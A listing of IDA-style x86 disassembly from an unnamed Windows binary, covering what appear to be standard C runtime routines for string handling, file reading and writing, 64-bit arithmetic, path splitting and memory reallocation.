push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41BA39
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_418477
; ---------------------------------------------------------------------------
loc_41846A: ; CODE XREF: sub_4183EE+Bj
; sub_4183EE+1Dj
mov dword_515884, 16h
or eax, 0FFFFFFFFh
loc_418477: ; CODE XREF: sub_4183EE+7Aj
pop edi
pop esi
retn
sub_4183EE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418480 proc near ; CODE XREF: sub_406B85+2ACp
; sub_406B85+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_4184B1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_4184AF
jz short loc_4184B1
dec ecx
dec ecx
loc_4184AF: ; CODE XREF: sub_418480+29j
not ecx
loc_4184B1: ; CODE XREF: sub_418480+9j
; sub_418480+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_418480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4184C0 proc near ; CODE XREF: sub_40707C+5Cp
; sub_40707C+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_418574
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_4184EA
loc_4184DB: ; CODE XREF: sub_4184C0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41851B
test edi, 3
jnz short loc_4184DB
loc_4184EA: ; CODE XREF: sub_4184C0+19j
; sub_4184C0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_4184EA
mov eax, [edi-4]
test al, al
jz short loc_418528
test ah, ah
jz short loc_418523
test eax, 0FF0000h
jz short loc_41851E
test eax, 0FF000000h
jnz short loc_4184EA
loc_41851B: ; CODE XREF: sub_4184C0+20j
dec edi
jmp short loc_41852B
; ---------------------------------------------------------------------------
loc_41851E: ; CODE XREF: sub_4184C0+52j
sub edi, 2
jmp short loc_41852B
; ---------------------------------------------------------------------------
loc_418523: ; CODE XREF: sub_4184C0+4Bj
sub edi, 3
jmp short loc_41852B
; ---------------------------------------------------------------------------
loc_418528: ; CODE XREF: sub_4184C0+47j
sub edi, 4
loc_41852B: ; CODE XREF: sub_4184C0+5Cj
; sub_4184C0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_418540
mov ebx, ecx
shr ecx, 2
jnz short loc_41858C
jmp short loc_41855C
; ---------------------------------------------------------------------------
loc_418540: ; CODE XREF: sub_4184C0+75j
; sub_4184C0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41857A
mov [edi], dl
inc edi
dec ecx
jz short loc_418570
test esi, 3
jnz short loc_418540
mov ebx, ecx
shr ecx, 2
jnz short loc_41858C
loc_41855C: ; CODE XREF: sub_4184C0+7Ej
; sub_4184C0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_418570
loc_418563: ; CODE XREF: sub_4184C0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_418572
dec ecx
jnz short loc_418563
loc_418570: ; CODE XREF: sub_4184C0+8Bj
; sub_4184C0+A1j
mov [edi], cl
loc_418572: ; CODE XREF: sub_4184C0+ABj
pop ebx
pop esi
loc_418574: ; CODE XREF: sub_4184C0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41857A: ; CODE XREF: sub_4184C0+85j
; sub_4184C0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418584: ; CODE XREF: sub_4184C0+E4j
; sub_4184C0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41855C
loc_41858C: ; CODE XREF: sub_4184C0+7Cj
; sub_4184C0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418584
test dl, dl
jz short loc_41857A
test dh, dh
jz short loc_4185D8
test edx, 0FF0000h
jz short loc_4185C8
test edx, 0FF000000h
jnz short loc_418584
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4185C8: ; CODE XREF: sub_4184C0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4185D8: ; CODE XREF: sub_4184C0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_4184C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185F0 proc near ; CODE XREF: sub_4071BD+2A2p
; sub_40F6F1+32F2p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_418611
xor eax, eax
jmp short loc_418613
; ---------------------------------------------------------------------------
loc_418611: ; CODE XREF: sub_4185F0+1Bj
mov eax, edi
loc_418613: ; CODE XREF: sub_4185F0+1Fj
cld
pop edi
leave
retn
sub_4185F0 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_418630
loc_418620: ; CODE XREF: sub_418630+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_418630
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418630 proc near ; CODE XREF: sub_408B8D+DBp
; sub_40E08F+32p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00418620 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_418636: ; CODE XREF: sub_417980+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41865B
loc_418648: ; CODE XREF: sub_418630+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_418620
test cl, cl
jz short loc_4186A4
test edx, 3
jnz short loc_418648
loc_41865B: ; CODE XREF: sub_418630+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_418666: ; CODE XREF: sub_418630+61j
; sub_418630+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4186A8
and eax, 81010100h
jz short loc_418666
and eax, 1010100h
jnz short loc_4186A2
and esi, 80000000h
jnz short loc_418666
loc_4186A2: ; CODE XREF: sub_418630+68j
; sub_418630+81j ...
pop esi
pop edi
loc_4186A4: ; CODE XREF: sub_418630+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4186A8: ; CODE XREF: sub_418630+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_4186E5
test al, al
jz short loc_4186A2
cmp ah, bl
jz short loc_4186DE
test ah, ah
jz short loc_4186A2
shr eax, 10h
cmp al, bl
jz short loc_4186D7
test al, al
jz short loc_4186A2
cmp ah, bl
jz short loc_4186D0
test ah, ah
jz short loc_4186A2
jmp short loc_418666
; ---------------------------------------------------------------------------
loc_4186D0: ; CODE XREF: sub_418630+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4186D7: ; CODE XREF: sub_418630+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4186DE: ; CODE XREF: sub_418630+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4186E5: ; CODE XREF: sub_418630+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_418630 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4186EC proc near ; CODE XREF: sub_408B8D+AFp
; sub_40F6F1+4A72p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_418700
xor eax, eax
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_418700: ; CODE XREF: sub_4186EC+Ej
dec [ebp+arg_4]
push esi
jz short loc_418730
mov esi, [ebp+arg_8]
loc_418709: ; CODE XREF: sub_4186EC+42j
dec dword ptr [esi+4]
js short loc_418718
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41871F
; ---------------------------------------------------------------------------
loc_418718: ; CODE XREF: sub_4186EC+20j
push esi
call sub_41B582
pop ecx
loc_41871F: ; CODE XREF: sub_4186EC+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41873A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_418730
dec [ebp+arg_4]
jnz short loc_418709
loc_418730: ; CODE XREF: sub_4186EC+18j
; sub_4186EC+3Dj ...
and byte ptr [edi], 0
loc_418733: ; CODE XREF: sub_4186EC+55j
mov eax, ebx
pop esi
loc_418736: ; CODE XREF: sub_4186EC+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41873A: ; CODE XREF: sub_4186EC+36j
cmp edi, [ebp+arg_0]
jnz short loc_418730
xor ebx, ebx
jmp short loc_418733
sub_4186EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418743 proc near ; CODE XREF: sub_40917E+BFp
; sub_40917E+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_5158EC
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_418777
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_4187DE
loc_41875F: ; CODE XREF: sub_418743+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_418770
cmp cl, 7Ah
jg short loc_418770
sub cl, 20h
mov [edx], cl
loc_418770: ; CODE XREF: sub_418743+21j
; sub_418743+26j
inc edx
cmp [edx], bl
jnz short loc_41875F
jmp short loc_4187DE
; ---------------------------------------------------------------------------
loc_418777: ; CODE XREF: sub_418743+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_41BC2B
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_4187D0
push edi
call sub_417BEE
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_4187D0
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_5158EC
call sub_41BC2B
add esp, 20h
test eax, eax
jz short loc_4187D0
push [ebp+var_4]
push [ebp+arg_0]
call sub_417A00
pop ecx
pop ecx
loc_4187D0: ; CODE XREF: sub_418743+53j
; sub_418743+61j ...
push [ebp+var_4]
call sub_417C62
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_4187DE: ; CODE XREF: sub_418743+1Aj
; sub_418743+32j
pop ebx
leave
retn
sub_418743 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E1 proc near ; CODE XREF: sub_40A8C6+6p
; sub_40A8E4+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_5158EC, 0
push ebx
push esi
push edi
jnz short loc_41880E
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4188A7
cmp eax, 5Ah
jg loc_4188A7
add eax, 20h
jmp loc_4188A7
; ---------------------------------------------------------------------------
loc_41880E: ; CODE XREF: sub_4187E1+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_418842
cmp dword_43B7AC, esi
jle short loc_418830
push esi
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41883A
; ---------------------------------------------------------------------------
loc_418830: ; CODE XREF: sub_4187E1+42j
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, esi
loc_41883A: ; CODE XREF: sub_4187E1+4Dj
test eax, eax
jnz short loc_418842
loc_41883E: ; CODE XREF: sub_4187E1+ADj
mov eax, ebx
jmp short loc_4188A7
; ---------------------------------------------------------------------------
loc_418842: ; CODE XREF: sub_4187E1+3Aj
; sub_4187E1+5Bj
mov edx, off_43B5A0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_418866
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41886F
; ---------------------------------------------------------------------------
loc_418866: ; CODE XREF: sub_4187E1+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41886F: ; CODE XREF: sub_4187E1+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_5158EC
call sub_41BC2B
add esp, 20h
test eax, eax
jz short loc_41883E
cmp eax, esi
jnz short loc_41889A
movzx eax, [ebp+var_4]
jmp short loc_4188A7
; ---------------------------------------------------------------------------
loc_41889A: ; CODE XREF: sub_4187E1+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4188A7: ; CODE XREF: sub_4187E1+16j
; sub_4187E1+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188AC proc near ; CODE XREF: sub_40B0E7+204p
; sub_40B0E7+2B5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_4188D0
xor eax, eax
jmp loc_41899D
; ---------------------------------------------------------------------------
loc_4188D0: ; CODE XREF: sub_4188AC+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_4188E3
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_4188EA
; ---------------------------------------------------------------------------
loc_4188E3: ; CODE XREF: sub_4188AC+2Dj
mov [ebp+arg_C], 1000h
loc_4188EA: ; CODE XREF: sub_4188AC+35j
; sub_4188AC+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41891E
mov eax, [esi+4]
test eax, eax
jz short loc_41891E
cmp ebx, eax
mov edi, ebx
jb short loc_418904
mov edi, eax
loc_418904: ; CODE XREF: sub_4188AC+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_417490
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_418964
; ---------------------------------------------------------------------------
loc_41891E: ; CODE XREF: sub_4188AC+47j
; sub_4188AC+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_418969
test ecx, ecx
jz short loc_418932
push esi
call sub_41B4B0
test eax, eax
pop ecx
jnz short loc_4189AB
loc_418932: ; CODE XREF: sub_4188AC+79j
cmp [ebp+arg_C], 0
jz short loc_418945
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_418947
; ---------------------------------------------------------------------------
loc_418945: ; CODE XREF: sub_4188AC+8Aj
mov edi, ebx
loc_418947: ; CODE XREF: sub_4188AC+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41BE4F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4189A2
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_4189A2
loc_418964: ; CODE XREF: sub_4188AC+70j
mov edi, [ebp+var_4]
jmp short loc_418992
; ---------------------------------------------------------------------------
loc_418969: ; CODE XREF: sub_4188AC+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41922E
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4189AB
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_418992
mov [ebp+arg_C], 1
loc_418992: ; CODE XREF: sub_4188AC+BBj
; sub_4188AC+DDj
test ebx, ebx
jnz loc_4188EA
mov eax, [ebp+arg_8]
loc_41899D: ; CODE XREF: sub_4188AC+1Fj
; sub_4188AC+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4189A2: ; CODE XREF: sub_4188AC+ADj
; sub_4188AC+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_4189AD
; ---------------------------------------------------------------------------
loc_4189AB: ; CODE XREF: sub_4188AC+84j
; sub_4188AC+CFj
mov eax, edi
loc_4189AD: ; CODE XREF: sub_4188AC+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41899D
sub_4188AC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4189C0 proc near ; CODE XREF: sub_40BCF7+3Dp
; sub_40D5BA+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_4189E1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_418A31
; ---------------------------------------------------------------------------
loc_4189E1: ; CODE XREF: sub_4189C0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_4189EF: ; CODE XREF: sub_4189C0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4189EF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_418A1A
cmp edx, [esp+4+arg_4]
ja short loc_418A1A
jb short loc_418A22
cmp eax, [esp+4+arg_0]
jbe short loc_418A22
loc_418A1A: ; CODE XREF: sub_4189C0+4Aj
; sub_4189C0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_418A22: ; CODE XREF: sub_4189C0+52j
; sub_4189C0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_418A31: ; CODE XREF: sub_4189C0+1Fj
pop ebx
retn 10h
sub_4189C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418A40 proc near ; CODE XREF: sub_40BCF7+24p
; sub_40D5BA+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_418A62
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_418AA3
; ---------------------------------------------------------------------------
loc_418A62: ; CODE XREF: sub_418A40+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_418A70: ; CODE XREF: sub_418A40+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_418A70
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_418A9E
cmp edx, [esp+8+arg_4]
ja short loc_418A9E
jb short loc_418A9F
cmp eax, [esp+8+arg_0]
jbe short loc_418A9F
loc_418A9E: ; CODE XREF: sub_418A40+4Ej
; sub_418A40+54j
dec esi
loc_418A9F: ; CODE XREF: sub_418A40+56j
; sub_418A40+5Cj
xor edx, edx
mov eax, esi
loc_418AA3: ; CODE XREF: sub_418A40+20j
pop esi
pop ebx
retn 10h
sub_418A40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AA8 proc near ; CODE XREF: sub_40BDAD+1E3p
; ___:0040ED32p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_417AF0
cmp eax, 1
pop ecx
jb short loc_418AE3
cmp byte ptr [ebx+1], 3Ah
jnz short loc_418AE3
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_418ADF
push 2
push ebx
push esi
call sub_41C3DC
add esp, 0Ch
and byte ptr [esi+2], 0
loc_418ADF: ; CODE XREF: sub_418AA8+25j
inc ebx
inc ebx
jmp short loc_418AED
; ---------------------------------------------------------------------------
loc_418AE3: ; CODE XREF: sub_418AA8+18j
; sub_418AA8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_418AED
and byte ptr [eax], 0
loc_418AED: ; CODE XREF: sub_418AA8+39j
; sub_418AA8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_418B65
loc_418B00: ; CODE XREF: sub_418AA8+87j
mov cl, [eax]
movzx edx, cl
test byte_516DA1[edx], 4
jz short loc_418B11
inc eax
jmp short loc_418B2B
; ---------------------------------------------------------------------------
loc_418B11: ; CODE XREF: sub_418AA8+64j
cmp cl, 2Fh
jz short loc_418B25
cmp cl, 5Ch
jz short loc_418B25
cmp cl, 2Eh
jnz short loc_418B2B
mov [ebp+var_4], eax
jmp short loc_418B2B
; ---------------------------------------------------------------------------
loc_418B25: ; CODE XREF: sub_418AA8+6Cj
; sub_418AA8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_418B2B: ; CODE XREF: sub_418AA8+67j
; sub_418AA8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_418B00
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_418B65
cmp [ebp+arg_8], 0
jz short loc_418B60
sub edi, ebx
cmp edi, esi
jb short loc_418B49
mov edi, esi
loc_418B49: ; CODE XREF: sub_418AA8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41C3DC
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_418B60: ; CODE XREF: sub_418AA8+97j
mov ebx, [ebp+arg_4]
jmp short loc_418B6F
; ---------------------------------------------------------------------------
loc_418B65: ; CODE XREF: sub_418AA8+56j
; sub_418AA8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_418B6F
and byte ptr [ecx], 0
loc_418B6F: ; CODE XREF: sub_418AA8+BBj
; sub_418AA8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_418BC2
cmp edi, ebx
jb short loc_418BC2
cmp [ebp+arg_C], 0
jz short loc_418B9F
sub edi, ebx
cmp edi, esi
jb short loc_418B88
mov edi, esi
loc_418B88: ; CODE XREF: sub_418AA8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41C3DC
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_418B9F: ; CODE XREF: sub_418AA8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_418BEA
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_418BAF
mov esi, eax
loc_418BAF: ; CODE XREF: sub_418AA8+103j
push esi
push [ebp+var_4]
push edi
call sub_41C3DC
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_418BEA
; ---------------------------------------------------------------------------
loc_418BC2: ; CODE XREF: sub_418AA8+CCj
; sub_418AA8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_418BE0
sub eax, ebx
cmp eax, esi
jnb short loc_418BD1
mov esi, eax
loc_418BD1: ; CODE XREF: sub_418AA8+125j
push esi
push ebx
push edi
call sub_41C3DC
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_418BE0: ; CODE XREF: sub_418AA8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_418BEA
and byte ptr [eax], 0
loc_418BEA: ; CODE XREF: sub_418AA8+FCj
; sub_418AA8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418AA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BEF proc near ; CODE XREF: sub_40C56B+19p
; sub_40DBCA+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_419343
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_418C2D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_418C3A
; ---------------------------------------------------------------------------
loc_418C2D: ; CODE XREF: sub_418BEF+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41922E
pop ecx
pop ecx
loc_418C3A: ; CODE XREF: sub_418BEF+3Cj
mov eax, esi
pop esi
leave
retn
sub_418BEF endp
; =============== S U B R O U T I N E =======================================
sub_418C3F proc near ; CODE XREF: sub_40C7FB+2Ep
; sub_4200EA+EDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_418C5A
push [esp+10h+arg_4]
call sub_417BEE
pop ecx
jmp loc_418D5A
; ---------------------------------------------------------------------------
loc_418C5A: ; CODE XREF: sub_418C3F+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_418C70
push ebx
call sub_417C62
pop ecx
loc_418C69: ; CODE XREF: sub_418C3F+114j
xor eax, eax
jmp loc_418D5A
; ---------------------------------------------------------------------------
loc_418C70: ; CODE XREF: sub_418C3F+21j
; sub_418C3F+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_418D3B
push ebx
call sub_419C57
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_418D18
cmp esi, dword_43B7BC
ja short loc_418CD8
push esi
push ebx
push ebp
call sub_41A462
add esp, 0Ch
test eax, eax
jz short loc_418CA7
mov edi, ebx
jmp short loc_418CD0
; ---------------------------------------------------------------------------
loc_418CA7: ; CODE XREF: sub_418C3F+62j
push esi
call sub_419FAD
mov edi, eax
pop ecx
test edi, edi
jz short loc_418CD8
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_418CBE
mov eax, esi
loc_418CBE: ; CODE XREF: sub_418C3F+7Bj
push eax
push ebx
push edi
call sub_417490
push ebx
push ebp
call sub_419C82
add esp, 14h
loc_418CD0: ; CODE XREF: sub_418C3F+66j
test edi, edi
jnz loc_418D58
loc_418CD8: ; CODE XREF: sub_418C3F+53j
; sub_418C3F+73j
test esi, esi
jnz short loc_418CDF
push 1
pop esi
loc_418CDF: ; CODE XREF: sub_418C3F+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_516EC0
nop
call near ptr 7C9105D4h
mov edi, eax
test edi, edi
jz short loc_418D3B
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_418D04
mov eax, esi
loc_418D04: ; CODE XREF: sub_418C3F+C1j
push eax
push ebx
push edi
call sub_417490
push ebx
push ebp
call sub_419C82
add esp, 14h
jmp short loc_418D37
; ---------------------------------------------------------------------------
loc_418D18: ; CODE XREF: sub_418C3F+47j
test esi, esi
jnz short loc_418D1F
push 1
pop esi
loc_418D1F: ; CODE XREF: sub_418C3F+DBj
